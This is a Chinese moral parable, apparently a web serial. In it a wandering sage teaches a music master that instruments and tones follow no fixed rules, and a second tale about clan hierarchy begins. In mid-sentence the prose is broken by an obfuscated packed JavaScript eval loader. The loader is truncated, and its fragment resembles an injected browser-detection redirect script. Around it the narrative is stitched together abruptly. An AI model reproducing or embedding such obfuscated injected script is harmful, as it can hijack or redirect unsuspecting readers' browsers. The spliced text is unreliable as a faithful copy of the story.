那人点头:“正是。八音是音,本无定法;四声是声,本无定韵。制乐之道,因材而宜,因用而变;歌吟之要,因语而异,因情而发。匏可是匏,土可是土,革可是革,木可是木,石可是石,金可是金,丝可是丝,竹可是竹。平可是平,上可是上,去可是去,入可是入。顺材顺用,顺语顺情,方是音声之道。” 他转向钟守律:“钟乐正精于音律,是匠心。然以古制为枷锁,强定八音制法,强守四声旧韵,是过矣。制乐不因材因宜变法,是呆制;歌吟不因语因情达意,是愚歌。此非守礼重乐,乃悖逆自然也。” 钟守律冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:匏土革木石金丝竹,此八音,耳所闻。平上去入,此四声,口所出。音是音,声是声,本无定法定韵。制乐当因材因宜变法,歌吟当因语因情达意。顺其自然,和谐为美,方是音声之道。” 说罢,转身欲下台。 “先生留步!”钟守律颤巍巍深揖一礼,“先生一席话,如清钟震耳。钟某拘泥古制,以虚妄缚实相,以旧规困天然,误人误己。敢问先生高姓大名?” “我姓音,名真,字和之。” “音真和之……”钟守律喃喃,忽问,“先生这《诗经》《乐府》篇,可否借某一观?” “可。”音真和之递过帛书,“此帛可传阅,然需切记:八音是造化,耳所闻;四声是人性,口所出。制乐在和谐,不在拘法;歌吟在达意,不在守韵。强定制法,强守旧韵,是以虚妄困天然,非是圣贤本意。” 钟守律双手接过,如获至宝。 音真和之又对众人道:“道理在此,列位可思可悟。然需切记:耳听八音,不如亲制;口说四声,不如亲歌。匏土革木石金丝竹,平上去入,皆在眼前。制其器,歌其声,和其韵,方是真知。” 说罢,他戴上斗笠,走下高台。蕉叶斗笠在日光下泛着青碧,粗葛白衣的下摆扫过八音阁前的石板地,不惹一丝尘埃。 一、 钟守律的悔悟 音真和之走后,钟守律在高台上呆立良久。他展开《诗经》《乐府》篇,细读“关关雎鸠,在河之洲”、“江南可采莲,莲叶何田田”等句,又回想音真和之所言,越思越心惊。 “我误人误己三十载啊!” 他想起自己执掌八音阁三十年,总以“八音必遵古制,四声必守旧韵”为圭臬。见人用葫芦制笙,便斥为“不遵古制”;见人用牛皮蒙鼓,便讥为“不合礼法”;见人用马尾为弦,便贬为“不正”;见人歌吟不拘《切韵》,便斥为“淆乱”。有乐工制五孔胡埙,他说“埙必三孔”;有歌者以方言吟唱,他说“四声必守旧韵”。却不知,音只是音,声只是声。以法定音,以韵束声,是以虚妄缚实相,以旧规困天然。 “那位先生说得好,八音是造化,耳所闻;四声是人性,口所出。制乐之道,在和谐,不在拘法;歌吟之要,在达意,不在守韵。我强定制法,强守旧韵,岂不是以虚妄困天然、以旧规碍变化?” 他羞愧难当,当即将《乐经》收起,将《诗经》《乐府》篇悬于八音阁,对还未散去的众人深揖一礼。 “钟某拘泥古制,误人误己。从今日起,钟某当闭门思过,重研音声,再不固守成法、强定制法旧韵!” 众人见他诚恳,便劝道:“钟乐正知错能改,善莫大焉。只是这八音四声之道,咱们还想听正解。” 钟守律便道:“《诗》《乐府》在此,列位可随意观览。钟某每旬在此讲解,与列位共悟!” 从此,每逢旬日,钟守律便在八音阁开讲八音四声新义。他不再说“八音必遵古制,四声必守旧韵”,而是讲解八音之实、四声之真、音声之和。他结合琴川镇实际,讲匏、土、革、木、石、金、丝、竹的因材而制、因用而变,讲平、上、去、入的因语而异、因情而发。 “列位,匏是匏音,本无定法。瓠可为斗,葫芦亦可为斗,木亦可为斗;竹可为管,芦亦可为管,苇亦可为管。当因材而制,因用而变,得音为要,不必拘泥必用瓠斗竹管。” “土是土音,本无定制。陶可为埙,泥亦可为埙,贝亦可为埙;三孔可为埙,五孔亦可为埙,无孔亦可为埙。当因物而制,因用而变,得音为要,不必拘泥必用陶体三孔。” “革是革音,本无定料。夔皮可为鼓,牛皮亦可为鼓,羊皮亦可为鼓;桐木可为腔,他木亦可为腔。当因材而制,因用而变,得音为要,不必拘泥必用夔皮桐木。” “木是木音,本无定材。梓木可为柷,桐木亦可为柷,杉木亦可为柷;三尺可为度,二尺亦可为度,四尺亦可为度。当因材而制,因用而变,得音为要,不必拘泥必用梓木三尺。” “石是石音,本无定石。泗滨石可为磬,他山之石亦可为磬;十六枚可为套,十二枚亦可为套,二十枚亦可为套。当因材而制,因用而变,得音为要,不必拘泥必用泗滨石十六枚。” “金是金音,本无定金。青铜可为钟,铁亦可为钟,铜亦可为钟;十二律可为套,七律亦可为套,五律亦可为套。当因材而制,因用而变,得音为要,不必拘泥必用青铜十二律。” “丝是丝音,本无定丝。蚕丝可为弦,马尾亦可为弦,兽筋亦可为弦;五弦可为琴,七弦可为琴,九弦亦可为琴。当因材而制,因用而变,得音为要,不必拘泥必用蚕丝五弦七弦。” “竹是竹音,本无定竹。湘竹可为笛,苦竹亦可为笛,紫竹亦可为笛;六孔可为笛,七孔亦可为笛,五孔亦可为笛。当因材而制,因用而变,得音为要,不必拘泥必用湘竹六孔。” 他顿了顿,续道:“至于四声,更是如此。平是平声,本无定调。平直可为平,曲折亦可为平,上扬亦可为平,当因语而异,因情而发,达意为要。上是上声,本无定势。上扬可为上,平缓亦可为上,起伏亦可为上,当因语而异,因情而发,达意为要。去是去声,本无定势。下降可为去,上扬亦可为去,转折亦可为去,当因语而异,因情而发,达意为要。入是入声,本无定长。短促可为入,悠长亦可为入,拖曳亦可为入,当因语而异,因情而发,达意为要。四声是声,达意为要,调协为美,不必强守旧韵。” 他讲得通透,众人听得豁然开朗。有那曾因“音不合制”、“声不守韵”被训斥、被讥笑的乐工歌者,感慨万千。 “原来八音四声,得这么看!” “是啊,制乐得看材料、看用途,不能光按古法!” “歌吟得看方言、看情感,不能光守旧韵!” “钟乐正这么一讲,咱们就明白了!” 钟守律在八音阁前立了块木牌,上书:“匏土革,木石金。丝与竹,乃八音。曰平上,曰去入。此四声,宜调协。然音无定法,声无定韵。制乐当因材因宜变法,歌吟当因语因情达意。顺其自然,和谐为美,方是音声之道。” 二、 百姓的醒悟 钟守律在八音阁讲八音四声新义,琴川镇的百姓渐渐醒悟。 从前,他们以为八音有定法、四声有定韵:匏笙必用瓠斗竹管,土埙必用陶体三孔,革鼓必用夔皮桐木,木柷必用梓木三尺,石磬必用泗滨石十六枚,金钟必用青铜十二律,丝弦必用蚕丝五弦七弦,竹笛必用湘竹六孔。平声必平直,上声必上扬,去声必下降,入声必短促。制乐必遵古法,歌吟必守旧韵。结果,制乐呆板,歌吟拘束,音声失和。 如今,他们明白了:八音只是音,本无定法;四声只是声,本无定韵。制乐之道,因材而宜,因用而变;歌吟之要,因语而异,因情而发。匏可是匏,葫芦可为斗,木亦可为斗;土可是土,陶可为埙,泥亦可为埙;革可是革,夔皮可为鼓,牛皮亦可为鼓;木可是木,梓木可为柷,桐木亦可为柷;石可是石,泗滨石可为磬,他山之石亦可为磬;金可是金,青铜可为钟,铁亦可为钟;丝可是丝,蚕丝可为弦,马尾亦可为弦;竹可是竹,湘竹可为笛,苦竹亦可为笛。平可是平,上扬可为平,曲折亦可为平;上可是上,平缓可为上,起伏亦可为上;去可是去,下降可为去,上扬亦可为去;入可是入,短促可为入,悠长亦可为入。顺材顺用,顺语顺情,方是音声之要。 “原来八音四声,得这么用!” “可不是么!我用葫芦制笙,声儿清亮,何必非用瓠斗?” “我用牛皮蒙鼓,声儿浑厚,何必非用夔皮?” “我用马尾为弦,声儿劲道,何必非用蚕丝?” “咱们山里人唱歌,就按山里调子,好听!何必非守《切韵》?” 有那吃过亏的,现身说法,劝人莫要“固守制法”、“强守旧韵”。有那开明的,开始践行“因材因宜变法”、“因语因情达意”的新道。 乐工制器,看材料、看用途,不拘古法;歌者吟唱,看方言、看情感,不拘旧韵。 镇上的音声,为之一新。呆板的少了,灵动的多了;拘束的少了,自然的多了。 钟守律在八音阁,将百姓践行八音四声新道的事一一记录,成《琴川八音四声新事》。他携此册,奔走于乡邻之间,倡行“因材因宜变法”、“因语因情达意”之道。 乡邻们见钟守律变了,也渐改前非。有那曾因“固守制法”乐器不佳的,如今看材制器,音色更美;有那曾因“强守旧韵”歌吟失味的,如今以方言吟唱,情感更真。 八音四声新道,渐入人心。 三、 《诗》《乐府》的流传 钟守律倡八音四声新道之事,渐传周边。附近乡镇的乐工、歌者、教习,闻讯来琴川镇取经。钟守律便将《诗经》《乐府》篇借出传抄,更将《琴川八音四声新事》广为散发。 “八音是音,本无定法;四声是声,本无定韵。此理通行天下。” “制乐当因材因宜变法,歌吟当因语因情达意。顺其自然,和谐为美。” “琴川新事,可供参考。但各地物产不同,方言有异,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的乐工、歌者、教习,亦加入其中。一时间,“音无定法,声无定韵,制乐看材料,歌吟看方言”之理,传遍州县。 有那固执的老乐工,初闻此理,斥为“悖逆古制”。但见百姓践行,乐器更佳,歌吟更美,也渐改观念。有那曾因固守古法失音的,闻此理如获至宝。 音真和之的名声,渐渐在州县传开。都说有位戴蕉叶斗笠、蒙麻纱的高人,深明八音四声,点破迷障,使人明“音无定法,声无定韵”之理,知“制乐看材料,歌吟看方言”之道。 四、 三年后的朔日 三年后的一个朔日,八音阁前又聚满了人。不仅有琴川镇的百姓,还有周边乡镇的乡民。 钟守律正在讲解“匏土革,木石金。丝与竹,乃八音。曰平上,曰去入。此四声,宜调协”。 “……故曰:八音是造化,耳所闻;四声是人性,口所出。匏可是匏,土可是土,革可是革,木可是木,石可是石,金可是金,丝可是丝,竹可是竹。平可是平,上可是上,去可是去,入可是入。本无定法,本无定韵。制乐之道,在和谐,不在拘法。因材而宜,因用而变,顺其自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又问:“然八音四声之用,易入两歧:一曰泥古,二曰妄为。泥古者,固守成法,强定制法旧韵;妄为者,不辨音律,胡乱施为。此又当如何?” 众人肃然。钟守律道:“先生所言极是!八音四声之用,贵在和谐。泥古则呆,妄为则乱。顺其自然,因材因宜变法;合其人性,因语因情达意。方是正道。” “正是。”音真和之道,“八音如八风,有常调,亦有变奏。守常调,可知宫商角徵羽;通变奏,可成万千妙音。若死守常调,不知变通,是呆;若无视常调,胡乱施为,是乱。顺自然,合人性,和谐达意,方是妙音。” 他转向众人:“列位当谨记:制匏音,当知匏是匏,可瓠斗可葫芦斗,可竹管可芦管,顺材顺用为美。制土音,当知土是土,可陶埙可泥埙,可三孔可五孔,顺材顺用为美。制革音,当知革是革,可夔皮可牛皮,可桐木可他木,顺材顺用为美。制木音,当知木是木,可梓木可桐木,可三尺可四尺,顺材顺用为美。制石音,当知石是石,可泗滨石可他山石,可十六枚可十二枚,顺材顺用为美。制金音,当知金是金,可青铜可铁,可十二律可七律,顺材顺用为美。制丝音,当知丝是丝,可蚕丝可马尾,可五弦可七弦,顺材顺用为美。制竹音,当知竹是竹,可湘竹可苦竹,可六孔可七孔,顺材顺用为美。歌平声,当知平是平,可平直可曲折,顺语顺情为美。歌上声,当知上是上,可上扬可平缓,顺语顺情为美。歌去声,当知去是去,可下降可上扬,顺语顺情为美。歌入声,当知入是入,可短促可悠长,顺语顺情为美。音只是音,声只是声,制其器,歌其声,和其韵,方是正道。” 众人齐声道:“谨记先生教诲!” 音真和之从怀中取出一卷书,递给钟守律:“此乃《八音四声宜用录》,是我游历各地,记录音声用法、和谐得失之鉴所编。你可传抄于众,供百姓参考。” 钟守律双手接过,如获至宝。 音真和之又对众人道:“此书可参阅,但需切记:八音四声之道,在制在歌。制百器不如制一器,歌百曲不如歌一曲。匏土革木石金丝竹,平上去入,皆在眼前。制其器,歌其声,和其韵,方是真知。” 说罢,他戴上斗笠,转身走入人群。蕉叶斗笠在日光下泛着青碧,粗葛白衣的下摆扫过八音阁前的石板地,不惹一丝尘埃。 钟守律对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声·八音谣 多年后,琴川镇的孩童玩耍时,会唱一首童谣: 匏土革木石金丝,八音原来是造化。 平上去入四声韵,口出自然成歌谣。 钟师强分法与韵,制乐歌吟皆成枷。 音真先生来点化,音声本真顺自然。 从此制乐看材料,歌吟随性达真情。 葫芦为笙声清越,牛皮蒙鼓韵浑厚。 方言吟唱最动听,和谐达意是妙音。 有外乡人听了,问镇里老人:“这音真先生是何人?” 老人便会指着八音阁说:“是位教人明八音四声、知和谐达意的先生。他来了,钟乐正知错了,百姓醒悟了,咱们镇知道音无定法、声无定韵了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又固守成法、强守旧韵的时候,他大概就会回来吧。” 外乡人若有所思,走到八音阁前。阁前悬着《诗经》《乐府》篇与《琴川八音四声新事》,木牌上刻着数字:“匏土革,木石金。丝与竹,乃八音。曰平上,曰去入。此四声,宜调协。”下面还有一行小字:“然音无定法,声无定韵。制乐当因材因宜变法,歌吟当因语因情达意。顺其自然,和谐为美,方是音声之道。” 也许那位音真先生,正在某个地方,听人制八音、歌四声吧。他想。 他走出八音阁,暮色四合。阁里传出乐声,匏笙清越,土埙苍凉,革鼓雄浑,木柷沉厚,石磬清脆,金钟悠扬,丝弦婉转,竹笛嘹亮。街边歌者以方言吟唱,平上去入,自然成韵。八音四声之道,看似高深,实则就在这乐工制器、歌者吟唱之中。 本章诫世 一、 八音四声真义训 - 匏土革,木石金。丝与竹,乃八音。曰平上,曰去入。此四声,宜调协 - 破解法:为乐者,自问“可固守古法?可知音无定法、声无定韵?可曾因材因宜变法、因语因情达意?”;为歌者,自问“可强守旧韵?可知音声本真?可曾顺自然、合人性?” 二、 三谬三正 - 钟守律之谬在“泥古”——以古制为铁则,固守八音制法,强定四声旧韵 - 世俗之谬在“拘方”——以八音有定法,以四声有定韵,拘束制乐歌吟 - 百姓之谬在“盲从”——不知音声本真,盲目遵从,音声失和 - 三正:钟守律倡八音四声新道,百姓明音声本真,琴川行和谐之道 三、 和之大道 - 深层隐喻:匏土革木石金丝竹,八音是造化,耳所闻;平上去入,四声是人性,口所出。音只是音,声只是声,本无定法,本无定韵。制乐之道,在和谐,不在拘法;因材而宜,因用而变,顺其自然,方是正理。歌吟之要,在达意,不在守韵;因语而异,因情而发,合其人性,方是真要。强定制法,是以虚妄缚实相;强守旧韵,是以旧规困天然;强分音声,是以成法碍变化 - 终极指向:世人制乐歌吟,易入两歧:一曰泥古,二曰妄为。泥古则呆,妄为则乱。八音是音,四声是声,本无定法定韵。制乐当因材因宜变法,不拘古法;歌吟当因语因情达意,不拘旧韵。顺其自然,合其人性,和谐达意,方是音声真道。音在制,不在说;声在歌,不在守;和在谐,不在固 八音四声偈: 琴川八音钟守律,强分古法与旧韵。 制乐歌吟皆成枷,百姓闻之不知音。 音真先生来点化,音声本真顺自然。 从此制乐看材料,歌吟随性达真情。 后世叹: 匏土革木石金丝,八音造化耳所闻。 平上去入四声韵,口出自然宜调协。 钟师泥古分法韵,制乐歌吟皆成规。 音真先生来点化,音声宜用顺自然。 三载和谐新气象,琴川百姓音声真。 正是: 琴川阁前说音声,钟师泥古分法韵。 八音制法皆成规,四声旧韵束歌吟。 音真先生来点破,音声本真顺自然。 从此制乐看材料,歌吟随性谐真情。 108.九族十义谳 楔子·族规铁索 雍州城“九族祠”乃此地第一大族,族长曾守伦,执掌祠事三十载。每逢望日,曾守伦必在祠前高台开讲“九族十义之理”。这日正值望日,祠前已聚了不少族人、乡邻。曾守伦头戴方巾,身着绣“祥云纹”的赭色族长服,手持一部《族规》,对众人朗声道: “……故曰:人有九族,高、曾、祖、父、己、子、孙、玄、曾。此九族,乃人伦之正序。又有十义,父子有恩,夫妇有从,兄友弟恭,长幼有序,友朋有信,君敬臣忠。此十义,乃人伦之正理。此乃宗法纲常,不可紊乱也!” 台下男女老少,纷纷垂首。 曾守伦捻须续道:“故而为人子者,必当孝父;为人父者,必当严子。为人妻者,必当从夫;为人夫者,必当主妻。为人弟者,必当恭兄;为人兄者,必当友弟。长幼必有序,友朋必有信,君必敬臣,臣必忠君。此乃天经地义,不可更易!” 他指着祠前陈列的族谱:“高曾祖在上,父辈在中,己身在位,子孙在下。序不可乱,位不可移。父子恩,必是父严子孝;夫妇从,必是夫唱妇随;兄则友,必是兄宽弟让;弟则恭,必是弟顺兄慈。长幼必尊卑有序,友朋必信义相交,君必敬臣如手足,臣必忠君如心腹。此十义,人所同遵,当顺叙,勿违背!” 台下“仁和堂”的曾三爷叹道:“族长说得是!咱们曾家世代守礼,从不敢乱了人伦。前街曾老五,让儿子主家事,被族长斥为‘子僭父位’,差点从族谱除名!” “义安坊”的曾四娘附和道:“上月西巷曾二姐,丈夫病故,她竟要改嫁,被族老说‘妇不从一’,祠堂都不让进了!” 曾守伦面露得色,正要再言,祠前老槐树下传来一个清朗声音:“此言谬矣。” 众人望去,见树下立着一人。斗笠是细篾与蒲叶混编,檐边垂着几缕风干的菖蒲。白衣是粗麻所制,浆洗得挺括,衣摆处有细密的靛青补丁。腰间悬一柄木剑,剑柄缠着褪色的五色丝绦。面上蒙着本色棉纱,只露出一双明澈如秋水的眼睛。 曾守伦眉头微皱:“这位先生,谬在何处?” “高曾祖,父而身。身而子,子而孙。自子孙,至玄曾。乃九族,人之伦。父子恩,夫妇从。兄则友,弟则恭。长幼序,友与朋。君则敬,臣则忠。此十义,人所同。当顺叙,勿违背。”那人缓步上台,对众人略一拱手,“此话不错。然曾族长说‘九族必依序,十义必遵规’,却是错了。” “错了?”曾守伦不悦,“九族之序,十义之理,载于《礼记》《家训》,岂能有错?” “九族是人伦,亲所系,是实。十义是人理,情所归,亦是实。”那人道,“然序是序,理是理,本无常法,本无定规。高可是高,曾可是曾,祖可是祖,父可是父,身可是身,子可是子,孙可是孙,玄可是玄,曾可是曾。父子可有恩,夫妇可有从,兄可有友,弟可有恭,长幼可有序,友朋可有信,君可有敬,臣可有忠。人以亲系伦,以情归理,本乎自然。强定序位,强遵规条,是人为之枷锁,非人伦之本然。” 他转向族谱:“曾族长说高曾祖在上,父辈在中,己身在位,子孙在下,序不可乱,位不可移。然我见东海渔村,子早当家,父从子议,家业兴旺;西陲牧户,孙主家事,祖从孙策,畜群繁盛。同是人伦,因地而异,因势而变,岂可必以上下为定序?” 又指夫妇之道:“夫妇从,必是夫唱妇随?我见南境有渔家,夫妇同舟,共议渔事;北地有猎户,夫妇并辔,同商猎策。同是夫妇,因业而异,因情而变,岂可必以夫主妇从为定规?” 再指兄弟之义:“兄则友,弟则恭,必是兄宽弟让?我见东市有商贾兄弟,兄精于贾,弟从兄学;西街有工匠兄弟,弟巧于工,兄从弟习。同是兄弟,因能而异,因才而变,岂可必以兄友弟恭为定式?” 他看向众人:“至于长幼有序,友朋有信,君敬臣忠,亦是如此。长可是长,幼可是幼,序在德能,不在年齿。友可是友,朋可是朋,信在真心,不在形式。君可是君,臣可是臣,敬在道义,忠在公道。人伦是人伦,情理是情理,顺其自然,合其人情,方是正理。强定序位,强遵规条,是以虚妄缚实相,以旧规困人情。” 曾守伦面色微变:“那九族之序、十义之理……” “九族之序,当因情而定;十义之理,当因事而宜。”那人声音平和,“高可是高,曾可是曾,祖可是祖,父可是父,身可是身,子可是子,孙可是孙,玄可是玄,曾可是曾。序在亲亲,不在上下;伦在情义,不在尊卑。父子可有恩,严可是恩,慈亦是恩;夫妇可有从,从夫可是从,从妇亦可是从;兄可有友,宽让可是友,切磋亦是友;弟可有恭,顺让可是恭,谏诤亦是恭。长幼有序,序在德能,不在年齿;友朋有信,信在真心,不在虚礼;君敬臣忠,敬在道义,忠在公道。人伦之理,在合人情,不在守旧规;十义之要,在顺事理,不在遵铁律。” 曾守伦额角见汗,强撑道:“你……你这是悖逆人伦!《礼记》有云:‘亲亲,尊尊,长长,男女有别,人道之大者也。’《家训》有云:‘父慈子孝,夫义妇听,兄良弟悌。’九族之序,十义之理,乃圣人所定,岂容更易?” “《礼记》所云亲亲尊尊,是言人伦之重,非是言序位之固。《家训》所云父慈子孝,是言情理之宜,非是言规条之死。”那人道,“我闻古时尧让位于舜,舜让位于禹,是贤者在位,非必子承父业。又闻古时孟母三迁,是母教子贤,非必父严子孝。人伦在情义,不在序位;十义在公道,不在规条。顺人情,合事理,方是正理。强定序位,强遵规条,是以虚妄困人情,非是圣贤本意。” 众人窃窃私语。有那走南闯北的行商叹道:“这位先生说得是!我在东海见过,儿子当家,老父从子,父子和睦,家业兴旺!” “我在西陲见过,孙子主事,祖父从孙,爷孙同心,畜群繁盛!” “南境渔家,夫妇同议,有商有量,渔船满仓!” “东市兄弟,能者主事,兄从弟策,生意兴隆!” 曾守伦踉跄一步,扶住案几,喃喃道:“人伦在情义,不在序位……十义在公道,不在规条……” 人群中哗然。有那受族规所苦的族人低声道:“可不是么!我爹年迈,我当家理事,却被说‘子僭父位’!” “我夫病故,我想改嫁谋生,却被说‘妇不从一’!” “我弟比我精明,我让他主家,却被说‘兄失其位’!” 那人点头:“正是。九族是人伦,本无常序;十义是人理,本无定规。为人子者,可孝父,亦可谏父;为人父者,可严子,亦可从子。为人妻者,可从夫,亦可辅夫;为人夫者,可主妻,亦可敬妻。为人弟者,可恭兄,亦可助兄;为人兄者,可友弟,亦可学弟。长幼有序,序在德能;友朋有信,信在真心;君敬臣忠,敬在道义,忠在公道。顺人情,合事理,方是人伦之道。” 他转向曾守伦:“曾族长重人伦,是正道。然以旧规为枷锁,强定九族序位,强遵十义规条,是过矣。序位不因情而定,是呆序;情理不因事而宜,是愚理。此非守礼重伦,乃悖逆人情也。” 曾守伦冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:高曾祖父身子孙玄曾,此九族,亲所系。父子夫妇兄弟长幼友朋君臣,此十义,情所归。序是序,理是理,本无常法定规。人伦当因情而定序,十义当因事而宜理。顺其人情,合其事理,方是人伦之道。” 说罢,转身欲下台。 “先生留步!”曾守伦颤巍巍深揖一礼,“先生一席话,如清泉涤心。曾某拘泥旧规,以虚妄缚实相,以铁律困人情,误人误己。敢问先生高姓大名?” “我姓伦,名真,字和之。” “伦真和之……”曾守伦喃喃,忽问,“先生这尧舜孟母之事,可否详说?” “可。”伦真和之道,“尧让舜,是贤者在位,非必子承;舜让禹,亦是如此。孟母三迁,是母教子贤,非必父严。人伦在情义,不在序位;十义在公道,不在规条。顺人情,合事理,方是正理。强定序位,强遵规条,是以虚妄困人情,非是圣贤本意。” 曾守伦拱手道:“愿闻其详。” 伦真和之便对众人道:“道理在此,列位可思可悟。然需切记:亲在九族,不如亲在情义;义在十伦,不如义在公道。高曾祖父身子孙玄曾,父子夫妇兄弟长幼友朋君臣,皆在眼前。亲其亲,义其义,顺人情,合事理,方是真知。” 说罢,他戴上斗笠,走下高台。蒲叶斗笠在日光下泛着青翠,粗麻白衣的下摆扫过九族祠前的石板地,不染一丝尘埃。 一、 曾守伦的悔悟 伦真和之走后,曾守伦在高台上呆立良久。他回想尧舜禅让、孟母三迁之事,又思伦真和之所言,越思越心惊。 “我误人误己三十载啊!” 他想起自己执掌九族祠三十年,总以“九族必依序,十义必遵规”为圭臬。见子当家,便斥为“子僭父位”;见妇改嫁,便讥为“妇不从一”;见弟主事,便贬为“兄失其位”;见友争论,便斥为“友朋失和”。有父从子议,他说“父失其尊”;有夫从妻策,他说“夫失其主”;有兄从弟学,他说“兄失其序”。却不知,序只是序,理只是理。以旧规定序,以铁律束理,是以虚妄缚实相,以枷锁困人情。 “那位先生说得好,九族是人伦,本无常序;十义是人理,本无定规。人伦之道,在顺人情,不在守旧规;十义之要,在合事理,不在遵铁律。我强定序位,强遵规条,岂不是以虚妄困人情、以铁律碍事理?” 他羞愧难当,当即将《族规》收起,对还未散去的众人深揖一礼。 “曾某拘泥旧规,误人误己。从今日起,曾某当闭门思过,重研人伦,再不固守成规、强定序位铁律!” 众人见他诚恳,便劝道:“曾族长知错能改,善莫大焉。只是这九族十义之道,咱们还想听正解。” 曾守伦便道:“尧舜孟母之事在此,列位可细思。曾某每旬在此讲解,与列位共悟!” 从此,每逢旬日,曾守伦便在九族祠开讲九族十义新义。他不再说“九族必依序,十义必遵规”,而是讲解九族之实、十义之真、人伦之和。他结合雍州城实际,讲高、曾、祖、父、身、子、孙、玄、曾的因情而定、因势而变,讲父子、夫妇、兄弟、长幼、友朋、君臣的因事而宜、因理而发。 “列位,高是高亲,本是尊长,然尊在德,不在年。若高亲无德,不必盲从;若高亲有德,自当敬重。序在情理,不在辈分。” “曾是曾亲,本是近亲,然亲在义,不在血。若曾亲无义,不必强亲;若曾亲有义,自当亲近。伦在情义,不在血缘。” “祖是祖亲,本是尊长,然尊在恩,不在位。若祖亲有恩,自当孝敬;若祖亲无恩,亦当礼待。序在恩义,不在尊卑。” “父是父亲,本是严君,然严在教,不在威。若父教有方,自当听从;若父教无方,亦可谏诤。恩在教导,不在威严。” “身是己身,本是本位,然位在责,不在权。若身有责,自当承担;若身无能,亦可让贤。位在责任,不在权势。” “子是子辈,本是晚辈,然晚在年,不在能。若子有能,可当家事;若子无才,当教之导之。序在德能,不在年齿。” “孙是孙辈,本是幼辈,然幼在龄,不在智。若孙有智,可从其议;若孙愚钝,当养之教之。伦在情智,不在长幼。” “玄是玄孙,本是远亲,然远在代,不在情。若玄孙有情,自当亲近;若玄孙无情,亦当礼待。序在情义,不在亲疏。” “曾是可曾,本是可续,然续在义,不在嗣。若有义,可续香火;若无义,不必强续。伦在道义,不在血脉。” 他顿了顿,续道:“至于十义,更是如此。父子恩,恩可是严,可是慈,可是教,可是养,因事而宜,合情为美。夫妇从,从可是从夫,可是从妇,可是共议,可是相辅,因事而宜,合情为美。兄则友,友可是宽让,可是切磋,可是相学,可是相扶,因事而宜,合情为美。弟则恭,恭可是顺让,可是谏诤,可是相助,可是相成,因事而宜,合情为美。长幼序,序在德能,不在年齿;因事而宜,合情为美。友与朋,信在真心,不在虚礼;因事而宜,合情为美。君则敬,敬在道义,不在权势;臣则忠,忠在公道,不在私从。因事而宜,合情为美。人伦之理,在顺人情;十义之要,在合事理。强定序位,强遵规条,是以虚妄困人情,非是圣贤本意。” 他讲得通透,众人听得豁然开朗。有那曾因“序不合规”、“义不遵条”被训斥、被讥笑的族人乡邻,感慨万千。 “原来九族十义,得这么看!” “是啊,人伦得看情理、看事理,不能光按旧规!” “父子不必定是父严子孝,也可父慈子孝,父从子议!” “夫妇不必定是夫唱妇随,也可妇唱夫随,夫妇共议!” “兄弟不必定是兄友弟恭,也可弟友兄恭,兄弟相学!” “长幼不必定是尊卑有序,也可以德能为序!” “友朋不必定是虚礼相交,也可真心相待!” “君臣不必定是敬忠死节,也可道义相扶!” 曾守伦在九族祠前立了块木牌,上书:“高曾祖,父而身。身而子,子而孙。自子孙,至玄曾。乃九族,人之伦。父子恩,夫妇从。兄则友,弟则恭。长幼序,友与朋。君则敬,臣则忠。此十义,人所同。然序无常法,理无定规。人伦当因情而定序,十义当因事而宜理。顺其人情,合其事理,方是人伦之道。” 二、 百姓的醒悟 曾守伦在九族祠讲九族十义新义,雍州城的百姓渐渐醒悟。 从前,他们以为九族有常序、十义有定规:高曾祖必尊,父辈必严,己身必位,子孙必卑。父子恩必是父严子孝,夫妇从必是夫唱妇随,兄则友必是兄宽弟让,弟则恭必是弟顺兄慈,长幼必尊卑有序,友朋必信义相交,君必敬臣如手足,臣必忠君如心腹。人伦必遵旧规,十义必守铁律。结果,人伦呆板,情理拘束,亲不亲,义不义。 如今,他们明白了:九族只是人伦,本无常序;十义只是人理,本无定规。人伦之道,因情而定,因势而变;十义之要,因事而宜,因理而发。高可是高,尊在德,不在年;曾可是曾,亲在义,不在血;祖可是祖,尊在恩,不在位;父可是父,严在教,不在威;身可是身,位在责,不在权;子可是子,序在能,不在年;孙可是孙,伦在智,不在幼;玄可是玄,序在情,不在疏;曾可是曾,伦在义,不在嗣。父子恩,可是严,可是慈,可是教,可是养;夫妇从,可是从夫,可是从妇,可是共议,可是相辅;兄则友,可是宽让,可是切磋,可是相学,可是相扶;弟则恭,可是顺让,可是谏诤,可是相助,可是相成;长幼序,序在德能;友朋信,信在真心;君敬臣忠,敬在道义,忠在公道。顺人情,合事理,方是人伦之要。 “原来九族十义,得这么行!” “可不是么!我爹年迈,我当家理事,家业兴旺,父子更亲!” “我夫病故,我改嫁谋生,儿女有靠,情理更合!” “我弟比我精明,他主家事,生意兴隆,兄弟更睦!” “咱们邻里相处,以德能为序,以真心相交,更和睦!” 有那吃过亏的,现身说法,劝人莫要“固守序位”、“强遵规条”。有那开明的,开始践行“因情而定序”、“因事而宜理”的新道。 父子相处,看教导、看能力,不拘父严子孝;夫妇相处,看情义、看事理,不拘夫唱妇随;兄弟相处,看德能、看情义,不拘兄友弟恭;长幼相处,看德能、看情义,不拘尊卑有序;友朋相处,看真心、看道义,不拘虚礼相交;君臣相处,看道义、看公道,不拘敬忠死节。 城中的风气,为之一新。呆板的少了,灵活的多了;拘束的少了,和睦的多了。 曾守伦在九族祠,将百姓践行九族十义新道的事一一记录,成《雍州九族十义新事》。他携此册,奔走于乡邻之间,倡行“因情而定序”、“因事而宜理”之道。 乡邻们见曾守伦变了,也渐改前非。有那曾因“固守序位”父子失和的,如今看情定序,父子更亲;有那曾因“强遵规条”夫妇不睦的,如今看事宜理,夫妇更和。 九族十义新道,渐入人心。 三、 尧舜孟母之事的流传 曾守伦倡九族十义新道之事,渐传周边。附近乡镇的族长、乡老、家长,闻讯来雍州城取经。曾守伦便将尧舜禅让、孟母三迁之事讲述,更将《雍州九族十义新事》广为散发。 “九族是人伦,本无常序;十义是人理,本无定规。此理通行天下。” “人伦当因情而定序,十义当因事而宜理。顺人情,合事理。” 